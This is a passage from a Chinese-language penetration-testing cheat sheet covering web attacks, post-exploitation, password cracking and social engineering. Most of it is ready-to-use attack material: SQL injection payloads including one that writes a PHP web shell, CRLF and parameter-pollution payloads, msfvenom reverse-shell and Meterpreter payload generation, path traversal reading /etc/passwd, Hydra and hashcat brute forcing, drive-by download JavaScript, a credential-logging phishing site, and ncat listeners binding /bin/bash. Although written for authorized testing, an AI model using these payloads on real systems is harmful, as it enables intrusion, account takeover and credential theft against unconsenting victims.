-m -w subdomains_errors.txt ``` ### 绕过 401 和 403 在我的项目 [ivan-sincek/forbidden](https://github.com/ivan-sincek/forbidden) 中了解如何绕过 4xx HTTP 响应状态码。 ### Nikto 扫描 Web 服务器: ``` nikto -output nikto_results.txt -h somesite.com -p 80 ``` ### WPScan 扫描 WordPress 网站: ``` wpscan -o wpscan_results.txt --url somesite.com ``` ### Nuclei 安装和更新: ``` go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest nuclei -up && nuclei -ut ``` 漏洞扫描,所有模板: ``` nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt cat nuclei_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_sorted_results.txt ``` 仅子域接管: ``` nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt ``` ### Arjun 发现请求参数: ``` arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt ``` ### WFUZZ 模糊测试目录: ``` wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt ``` 模糊测试参数值: ``` wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"someparam\": \"WFUZZ\"}" -w somewordlist.txt ``` 模糊测试参数: ``` wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"WFUZZ\": \"somevalue\"}" -w somewordlist.txt ``` 附加示例,内部 SSRF 模糊测试: ``` wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt ``` | 选项 | 描述 | | --- | --- | | -f | 将结果存储在输出文件中 | | -t | 指定并发连接数(默认为 10) | | -s | 指定请求之间的时间延迟(默认为 0) | | -u | 指定请求的 URL | | -w | 指定字典文件 | | -X | 指定请求的 HTTP 方法,即 HEAD 或 FUZZ | | -b | 指定请求的 cookie | | -d | 使用 post 数据 | | -H | 使用 header | | --hc/--hl/--hw/--hh | 隐藏具有指定代码/行/字/字符的响应 | | --sc/--sl/--sw/--sh| 显示具有指定代码/行/字/字符的响应 | | --ss/--hs| 显示/隐藏内容中具有指定正则表达式的响应 | ### 不安全的直接对象引用 (IDOR) 首先,尝试简单地将一个值更改为另一个值,例如,将 `victim@gmail.com` 更改为 `hacker@gmail.com`,将某些 ID 从 `1` 更改为 `2` 等。 较小编号的 ID 可能与某些较高权限的账户或角色相关。 其次,尝试参数污染: ``` "email":"hacker@gmail.com,victim@gmail.com" "email":"hacker@gmail.com victim@gmail.com" "email":"hacker@gmail.com","email":"victim@gmail.com" "email":"victim@gmail.com,hacker@gmail.com" "email":"victim@gmail.com hacker@gmail.com" "email":"victim@gmail.com","email":"hacker@gmail.com" "email":("hacker@gmail.com","victim@gmail.com") "email":["hacker@gmail.com","victim@gmail.com"] "email":{"hacker@gmail.com","victim@gmail.com"} "email":("victim@gmail.com","hacker@gmail.com") "email":["victim@gmail.com","hacker@gmail.com"] "email":{"victim@gmail.com","hacker@gmail.com"} email=hacker%40gmail.com,victim%40gmail.com email=hacker%40gmail.com%20victim%40gmail.com email=hacker%40gmail.com&email=victim%40gmail.com email[]=hacker%40gmail.com&email[]=victim%40gmail.com email=victim%40gmail.com,hacker%40gmail.com email=victim%40gmail.com%20hacker%40gmail.com email=victim%40gmail.com&email=hacker%40gmail.com email[]=victim%40gmail.com&email[]=hacker%40gmail.com ``` 要生成上述输出,请运行 [param_pollution.py](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/scripts/param_pollution.py): ``` python3 param_pollution.py -n email -i victim@gmail.com -t hacker@gmail.com ``` ### HTTP 响应拆分 也称为 CRLF 注入。CRLF 指的是回车 (`ASCII 13`, `\r`) 和换行 (`ASCII 10`, `\n`)。 编码后,`\r` 指的是 `%0D`,`\n` 指的是 `%0A`。 固定会话 cookie: ``` somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789 ``` 开放重定向: ``` somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com ``` 会话固定和开放重定向是与 HTTP 响应拆分结合使用的多种技术之一。在 Internet 上搜索更多技术。 ### 跨站脚本攻击 (XSS) 简单的跨站脚本 (XSS) payloads: ``` ``` 在 [Pastebin](https://pastebin.com) 上托管 JavaScript 将不起作用,因为 Pastebin 始终返回 `text/plain` 内容类型。 在我的项目 [ivan-sincek/xss-catcher](https://github.com/ivan-sincek/xss-catcher) 中了解有关反射型和存储型跨站脚本 (XSS) 攻击以及跨站请求伪造 (XSRF/CSRF) 攻击的更多信息。 嵌入了 XSS 的有效 RFC 电子邮件: ``` user+()@somedomain.com user@somedomain().com ""@somedomain.com ``` ### SQL 注入 **以下 payloads 在 MySQL 数据库上进行了测试。请注意,MySQL 需要在注释符号和下一个字符之间有一个空白字符。** 如果您需要对空白字符进行 URL 编码,请改用 `%20` 或 `+`。 尝试通过注入单引号、反斜杠、双连字符、正斜杠或句点来产生数据库错误。 **始终确保正确关闭周围的代码。** 阅读这篇 OWASP [文章](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF) 以了解如何绕过 WAF。 基于布尔的 SQLi: ``` ' OR 1=1-- ' OR 1=2-- ``` 基于联合的 SQLi: ``` ' UNION SELECT 1,2,3,4-- ' UNION SELECT NULL,NULL,NULL,NULL-- ' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4-- ' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns-- ' UNION SELECT 1,load_file('..\\..\\apache\\conf\\httpd.conf'),3,4-- ``` 如果使用例如 `1,2,3,4` 不起作用,请尝试分别使用 `NULL,NULL,NULL,NULL`。 仅当您能够使用同一通道发起攻击并收集结果时,才使用基于联合的 SQLi。 目标是确定 SQL 查询中列的确切数量,并找出哪些列会回显给用户。 确定列的确切数量的另一种方法是使用例如 `' ORDER BY 1-- `,其中 `1` 是用于排序的列号 - 每次尝试时将其递增一。 基于时间的 SQLi: ``` ' AND (SELECT 1 FROM (SELECT sleep(2)) test)-- ' AND (SELECT 1 FROM (SELECT CASE user() WHEN 'root@127.0.0.1' THEN sleep(2) ELSE sleep(0) END) test)-- ' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)-- ' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)-- ' AND IF(version() LIKE '5%',sleep(2),sleep(0))-- ``` 当您无法看到结果时,使用基于时间的 SQLi。 检查存在性/正确性: ``` ' AND (SELECT 'exists' FROM users) = 'exists ' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists ' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct ' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct '||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||' ``` 基于 HTTP GET 请求注入 [简单的 PHP web shell](_URL_236/>): ``` ' UNION SELECT '', '', '', '' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'-- ' UNION SELECT '', '', '', '0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?>Simple PHP Web Shell
' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'-- ``` **要成功注入 web shell,当前数据库用户必须具有写入权限。** ### sqlmap 将 SQL 代码注入请求参数: ``` sqlmap -a -u somesite.com/index.php?username=test&password=test sqlmap -a -u somesite.com/index.php --data username=test&password=test sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password ``` | 选项 | 描述 | | --- | --- | | -u | 目标 URL | | -H | 额外的 HTTP header | | --data | 通过 POST 发送的数据字符串 | | --cookie | HTTP Cookie header 值 | | --proxy | 使用代理连接到目标 URL (\[protocol://\]host\[:port\]) | | -p | 可测试的参数 | | --level | 要执行的测试级别 (1-5, 默认: 1) | | --risk | 要执行的测试风险 (1-3, 默认: 1) | | -a | 检索所有内容 | | -b | 检索 DBMS banner | | --dump-all | 转储所有 DBMS 数据库表条目 | | --os-shell | 提示交互式操作系统 shell | | --os-pwn | 提示 OOB shell, Meterpreter, 或 VNC | | --sqlmap-shell | 提示交互式 sqlmap shell | | --wizard | 适合初学者的简单向导界面 | | --dbms | 待办。 | ### dotdotpwn 遍历路径(例如 `somesite.com/../../../etc/passwd`): ``` dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL' ``` 尝试在文件路径前添加协议,例如 `file://`、`gopher://`、`dict://`、`php://`、`jar://`、`ftp://`、`tftp://` 等;例如 `file://TRAVERSAL`。 在 [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md) 查看一些额外的目录遍历技巧。归功于作者! | 选项 | 描述 | | --- | --- | | -m | 模块 | | -h | 主机名 | | -O | 用于智能模糊测试的操作系统检测 | | -o | 已知的操作系统类型("windows"、"unix" 或 "generic") | | -d | 遍历深度(默认: 6) | | -f | 特定文件名(默认: 根据检测到的 OS) | | -S | 对 HTTP 和 Payload 模块使用 SSL(http-url 不需要) | | -u | 带有标记为 TRAVERSAL 的部分的 URL | | -k | 响应中要匹配的文本模式 | | -p | 带有要发送的 payload 的文件名,以及标记为 TRAVERSAL 关键字的部分 | | -x | 连接的端口(默认: HTTP=80; FTP=21; TFTP=69) | | -U | 用户名(默认: 'anonymous') | | -P | 密码(默认: 'dot(at)dot.pwn') | | -M | 使用 'http' 模块时要使用的 HTTP 方法(GET, POST, HEAD, COPY, MOVE, 默认: GET) | | -b | 发现第一个漏洞后中断 | | -C | 如果未从主机接收到数据则继续 | ### Web Shells 在我的项目 [ivan-sincek/php-reverse-shell](https://github.com/ivan-sincek/php-reverse-shell) 中了解有关 PHP shells 的更多信息。 在我的项目 [ivan-sincek/java-reverse-tcp](https://github.com/ivan-sincek/java-reverse-tcp) 中了解有关 Java/JSP shells 的更多信息。 ### 使用 Python 发送 Payload 在我的项目 [ivan-sincek/send-tcp-payload](https://github.com/ivan-sincek/send-tcp-payload) 中了解如何为 Python 生成反向 shell payload 并将其发送到目标机器。 ## 4. 后渗透 ### 4.1 实用网站 * [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) * [lolbas-project.github.io](https://lolbas-project.github.io) * [gtfobins.github.io](https://gtfobins.github.io) ### 为 Windows OS 生成反向 Shell Payload 要生成 `Base64 encoded payload`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们: ``` msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt ``` 要生成 `binary file`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们: ``` msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin ``` 要生成 `DLL file`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们: ``` msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll ``` 要生成 `standalone executable` 文件,请使用以下 MSFvenom 命令之一,根据您的需要修改它们: ``` msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe ``` 要生成 `MSI file`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们: ``` msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi ``` 由于某些其他坏字符,字节码可能无法在第一次尝试时起作用。试错是关键。 到目前为止,由于大小问题,还没有简单的方法来生成带有无阶段 meterpreter shell 的 DLL 或 MSI 文件。 ### PowerShell 编码命令 要从 PowerShell 脚本生成 PowerShell 编码命令,请运行以下 PowerShell 命令: ``` [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script))) ``` 要运行 PowerShell 编码命令,请从 PowerShell 或命令提示符运行以下命令: ``` PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand $command ``` 要解码 PowerShell 编码命令,请运行以下 PowerShell 命令: ``` [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command)) ``` 在我的项目 [ivan-sincek/powershell-reverse-tcp](https://github.com/ivan-sincek/powershell-reverse-tcp) 中了解有关 PowerShell 反向和绑定 TCP shells 的更多信息。 ## 5. 密码破解 **在尝试破解哈希之前先 Google 一下,因为您可能会为自己节省大量时间和麻烦。** 使用 [Google Dorks](#google-dorks)、[Chad](#chad) 或 [FOCA](#foca) 查找和下载文件,并在文件的元数据中找到域用户名以进行暴力破解。 **请记住,您可能会锁定人们的账户。** 某些 Web 表单具有 CAPTCHA 验证码和/或隐藏的提交令牌,这可能会阻止您进行暴力破解。如果是这种情况,请尝试在没有 CAPTCHA 验证码响应和提交令牌的情况下提交请求。 您可以在 [SecLists](#wordlists) 中找到许多有用的字典。 ### 5.1 实用网站 * [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef) * [onlinehashcrack.com](https://www.onlinehashcrack.com) * [hashkiller.io/listmanager](https://hashkiller.io/listmanager) - 有许多其他工具 * [hashes.com/en/decrypt/hash](https://hashes.com/en/decrypt/hash) - 有许多其他工具 * [crackstation.net](https://crackstation.net) * [weakpass.com/wordlist](https://weakpass.com/wordlist) - 许多密码转储 * [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists) ### crunch 生成小写字母数字字典: ``` crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt ``` 在位于 `/usr/share/crunch/` 目录的 `charset.lst` 中查看所有可用字符集的列表或添加您自己的字符集。 从单词生成所有可能的排列: ``` crunch -o crunch_wordlist.txt -p admin 123 \!\" crunch -o crunch_wordlist.txt -q words.txt ``` 从字符集生成所有可能的组合: ``` crunch 4 6 -o crunch_wordlist.txt -p admin123\!\" ``` | 选项 | 描述 | | --- | --- | | -d | 限制连续字符的数量 | | -f | 从文件中指定字符集 | | -i | 反转输出 | | -l | 当您使用 -t 选项时,此选项告诉 crunch 应将哪些符号视为文字 | | -o | 指定要写入输出的文件 | | -p | 告诉 crunch 生成/排列没有重复字符的单词 | | -q | 告诉 crunch 读取文件并排列读取的内容 | | -r | 告诉 crunch 从中断的地方恢复生成单词,-r 仅在使用 -o 时有效 | | -s | 指定起始字符串 | | -t | 指定模式 | | 占位符 | 描述 | | --- | --- | | \@ | 小写字符 | | \, | 大写字符 | | \% | 数字 | | \^ | 符号 | **不幸的是,没有从小写字母到符号的占位符范围。** 从占位符生成所有可能的组合: ``` crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^ crunch 10 10 + + 123456 \!\" -o crunch_wordlist.txt -t admin@@%^^ crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa ``` ### hash-identifier 要识别哈希类型,请运行以下工具: ``` hash-identifier ``` ### Hashcat 暴力破解 MD5 哈希: ``` hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt ``` 暴力破解 NetNTLMv1 哈希: ``` hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt ``` 使用 `--session=` 保存,并在稍后使用 `--restore` 继续您的破解进度。 继续破解进度: ``` hashcat --session=cracking --restore ``` | 选项 | 描述 | | --- | --- | | -m | 哈希类型,请参阅下面的参考 | | -a | 攻击模式,请参阅下面的参考 | | --force | 忽略警告 | | --runtime | 在 X 秒运行时间后中止会话 | | --status | 启用状态屏幕的自动更新 | | -o | 为恢复的哈希定义输出文件 | | --show | 显示在 potfile 中找到的已破解密码 | | --session | 定义特定的会话名称 | | --restore | 从 --session 恢复会话 | | --restore-file-path | 恢复文件的具体路径 | | -O | 启用优化内核(限制密码长度) | | -1 | 用户定义的字符集 ?1 | | -2 | 用户定义的字符集 ?2 | | -3 | 用户定义的字符集 ?3 | | -4 | 用户定义的字符集 ?4 | **指定用户定义的字符集时,请用另一个 `?` 转义 `?`(即,使用 `??` 而不是 `\?`)。** | 哈希类型 | 描述 | | --- | --- | | 0 | MD5 | | 100 | SHA1 | | 1400 | SHA256 | | 1700 | SHA512 | | 200 | MySQL323 | | 300 | MySQL4.1/MySQL5 | | 1000 | NTLM | | 5500 | NetNTLMv1-VANILLA / NetNTLMv1-ESS | | 5600 | NetNTLMv2 | | 2500 | WPA/WPA2 | | 16800 | WPA-PMKID-PBKDF2 | | 16500 | JWT (JSON Web Token) | 有关更多哈希类型,请阅读手册。 | 攻击模式 | 名称 | | --- | --- | | 0 | Straight | | 1 | Combination | | 3 | Brute Force | | 6 | Hybrid Wordlist + Mask | | 7 | Hybrid Mask + Wordlist | | 9 | Association | | 字符集 | 描述 | | --- | --- | | \?l | abcdefghijklmnopqrstuvwxyz | | \?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ | | \?d | 0123456789 | | \?s | \!\"\#\$\%\&\'\(\)\*\+\,\-\.\/\:\;\<\=\>\?\@\[\]\^\_\`\{\|\}\~ | | \?a | \?l\?u\?d\?s | | \?b | 0x00 - 0xff | 字典攻击: ``` hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt ``` 您可以在 [SecLists](#wordlists) 中找到 `rockyou.txt` 字典。 使用占位符暴力破解哈希: ``` hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2 hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 \!\"\#\$\%\&\/\(\)\=??\* -2 ?d?1 ?u?l?l?l?l?2?2?2 ``` ### 破解 JWT 字典攻击: ``` hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds ``` 您也可以在我的项目 [ivan-sincek/jwt-bf](https://github.com/ivan-sincek/jwt-bf) 中查看我的 JWT 破解工具。 ### Hydra 我更喜欢使用 Burp Suite 来暴力破解 Web 表单,而 Hydra 用于其他服务。 对 HTTP POST 登录 Web 表单进行字典攻击: ``` hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!' ``` 在暴力破解登录 Web 表单时,您必须指定 `Login=Login:` 以区分成功和失败的登录尝试。根据需要更改 `username` 和 `password` 请求参数名称。 对 Secure Shell (SSH) 登录进行字典攻击: ``` hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh ``` 您可以在 [SecLists](#wordlists) 中找到许多有用的字典。 | 选项 | 描述 | | --- | --- | | -R | 恢复先前中止/崩溃的会话 | | -S | 执行 SSL 连接 | | -O | 使用旧的 SSL v2 和 v3 | | -s | 如果服务位于不同的默认端口上,请在此处定义 | | -l | 使用登录名登录 | | -L | 从文件加载多个登录名 | | -p | 使用密码登录 | | -P | 从文件加载多个密码 | | -x | 密码暴力破解生成 (MIN:MAX:CHARSET),输入 "-x -h" 获取帮助 | | -y | 禁止在暴力破解中使用符号 | | -e | 尝试 "n" 空密码,"s" 登录名作为密码,和/或 "r" 反向登录名 | | -o | 将找到的登录名/密码对写入文件而不是 stdout | | -f/-F | 找到登录名/密码对时退出(-f 每个主机,-F 全局) | | -M | 要攻击的服务器列表,每行一个条目,':' 指定端口 | | 支持的服务 | | --- | ftp\[s\] | | http\[s\]\-\{get\|post\}\-form | | mysql | | smb | | smtp\[s\] | | snmp | | ssh | | telnet\[s\] | | vnc | 有关更多支持的服务,请阅读手册。 | 暴力破解语法 | 描述 | | --- | --- | | MIN | 密码中的最小字符数 | | MAX | 密码中的最大字符数 | | CHARSET | 字符集值为:"a" 代表小写字母,"A" 代表大写字母,"1" 代表数字,对于所有其他字符,只需添加其实际表示形式 | 对 FTP 进行暴力破解攻击: ``` hydra -o hydra_results.txt -l admin -x 4:4:aA1\!\"\#\$\% 192.168.8.5 ftp ``` ### 密码喷洒 在您从 [信息收集阶段](#1-reconnaissance) 收集了足够的用户名之后,是时候尝试对其中一些进行暴力破解了。 在我的项目 [ivan-sincek/wordlist-extender](https://github.com/ivan-sincek/wordlist-extender) 中了解如何生成一个好的密码喷洒字典,但首先您需要一些描述您目标的关键词。 此类关键词可以包括公司名称、缩写或描述公司服务、产品等的单词。 生成字典后,将其与 [Hydra](#hydra)、[Burp Suite Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder) 等工具一起使用,以暴力破解登录 Web 表单。Hydra 可以攻击各种服务和端口的身份验证机制。 如果强制执行强密码策略,懒惰的密码通常以一个大写单词开头,后跟几位数字,末尾有一个特殊字符(例如,Password123!)。 您也可以将生成的字典与 [hashcat](#hashcat) 一起使用,例如,破解您在网络渗透测试期间使用 LLMNR responder 收集的 NTLMv2 哈希等。 ## 6. 社会工程学 在我的项目 [ivan-sincek/powershell-reverse-tcp](https://github.com/ivan-sincek/powershell-reverse-tcp#ms-word) 中了解如何将 PowerShell 脚本嵌入 MS Word 文档。 ### 路过式下载 要强制用户下载恶意文件,请将此 JavaScript 代码块复制并粘贴到任何克隆的网页上: ``` function download(url, type, name, method) { var req = new XMLHttpRequest(); req.open(method, url, true); req.responseType = 'blob'; req.onload = function() { var blob = new Blob([req.response], { type: type }) var isIE = false || !!document.documentMode; if (isIE) { // IE doesn't allow using a blob object directly as link // instead it is necessary to use msSaveOrOpenBlob() if (window.navigator && window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob, name); } } else { var anchor = document.createElement('a'); anchor.href = window.URL.createObjectURL(blob); anchor.download = name; anchor.click(); // in Firefox it is necessary to delay revoking the ObjectURL setTimeout(function() { window.URL.revokeObjectURL(anchor); anchor.remove(); }, 250); } }; req.send(); } // specify your file here, use only an absolute URL download('http://localhost/files/pentest.pdf', 'application/pdf', 'pentest.pdf', 'GET'); // download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET'); ``` 要进行尝试,请将 [\\social_engineering\\driveby_download\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/driveby_download) 中的所有内容复制到您服务器的 Web 根目录(例如,在 XAMPP 上复制到 \\xampp\\htdocs\\),并使用您喜欢的 Web 浏览器导航到该网页。 ### 钓鱼网站 要进行尝试,请将 [\\social_engineering\\phishing_website\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website) 中的所有内容复制到您服务器的 Web 根目录(例如,在 XAMPP 上复制到 \xampp\htdocs\),并使用您喜欢的 Web 浏览器导航到该网页。 捕获的凭据将存储在 [\\social_engineering\\phishing_website\\logs\\credentials.log](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website/logs) 中。

Phishing Website

图 2 - 钓鱼网站

阅读 [\\social_engineering\\phishing_website\\index.php](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/index.php) 中的注释,以更好地了解其所有工作原理。 您可以根据自己的喜好修改和扩展此模板。您已经掌握了入门所需的一切。 您可以轻松自定义 [CSS](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/css/main.css) 使其外观更像您正在测试的公司,例如,更改颜色、logo 等。 检查 [\\social_engineering\\phishing_website\\redirects\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/redirects) 目录中的独立重定向模板。 使用 SingleFile ([Chrome](https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle))([FireFox](https://addons.mozilla.org/hr/firefox/addon/single-file)) 浏览器扩展将网页下载为单个 HTML 文件,然后,将该文件重命名为 `index.php`。 ## 7. 杂项 在这里您可以找到一堆随机的东西。 ### 7.1 实用网站 * [jsonlint.com](https://jsonlint.com) * [base64decode.org](https://www.base64decode.org) * [urldecoder.org](https://www.urldecoder.org) * [bitly.com](https://bitly.com) - URL 缩短器 * [getcreditcardnumbers.com](https://www.getcreditcardnumbers.com) - 虚拟信用卡信息 ### cURL 下载文件: ``` curl somesite.com/somefile.txt -o somefile.txt ``` 上传文件: ``` curl somesite.com/uploads/ -T somefile.txt ``` | 选项 | 描述 | | --- | --- | | -d | 在 POST 请求中将指定数据发送到 HTTP 服务器 | | -H | 向服务器发送 HTTP 时要包含在请求中的额外 header | | -i | 在输出中包含 HTTP 响应 headers | | -k | 继续并进行否则被认为是不安全的服务器连接操作 | | -o | 写入文件而不是 stdout | | -T | 将指定的本地文件传输到远程 URL,与 PUT 方法相同 | | -v | 使操作更加详细 | | -x | 使用指定的代理 (\[protocol://\]host\[:port\]) | | -X | 指定与 HTTP 服务器通信时要使用的自定义请求方法 | 在我的项目 [ivan-sincek/forbidden](https://github.com/ivan-sincek/forbidden) 中了解如何测试 Web 服务器的各种 HTTP 方法和方法覆盖。 ### Ncat \[服务器\] 设置监听器: ``` ncat -nvlp 9000 ncat -nvlp 9000 > received_data.txt ncat -nvlp 9000 -e /bin/bash ncat -nvlp 9000 -e /bin/bash --ssl ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OK\r\n\r\n" ``` \[客户端\] 连接到远程主机: ``` ncat -nv 192.168.8.5 9000 ncat -nv 